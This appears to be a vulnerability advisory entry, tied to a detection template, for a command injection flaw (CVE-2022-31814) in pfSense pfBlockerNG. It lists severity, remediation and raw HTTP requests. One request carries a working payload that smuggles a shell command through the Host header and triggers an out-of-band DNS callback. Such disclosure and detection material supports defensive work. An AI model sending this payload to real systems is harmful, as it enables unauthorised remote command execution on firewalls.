| Title | pfSense pfBlockerNG <=2.1..4_26 - OS Command Injection |
|---|---|
| Author | EvergreenCartoons |
| Severity | Critical |
| Impact | Successful exploitation of this vulnerability allows remote attackers to execute arbitrary commands on the affected system. |
| Remediation | Upgrade to a patched version of pfSense pfBlockerNG (>=2.1..4_27) to mitigate this vulnerability. |
| CVSS Score | 9.8 |
| EPSS Score | 0.9436 |
| CVE ID | CVE-2022-31814 |
| CWE ID | CWE-78 |
| Tags | cve cve2022 packetstorm pfsense pfblockerng rce oast netgate vkev vuln |
pfSense pfBlockerNG through 2.1.4_26 is susceptible to OS command injection via root via shell metacharacters in the HTTP Host header. NOTE: 3.x is unaffected.
GET /pfblockerng/www/index.php HTTP/1.1
Host: www.victim.com
Accept: */*
GET /pfblockerng/www/index.php HTTP/1.1
Host: ' *; host d5jmhd1le0o2bq3fn3e0wsbc9cz9zquy1.oast.site; '
Accept: */*
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-31814.yaml
🦈 Packet Capture: ⬇️ Download cve-2022-31814.pcap
N/AN/A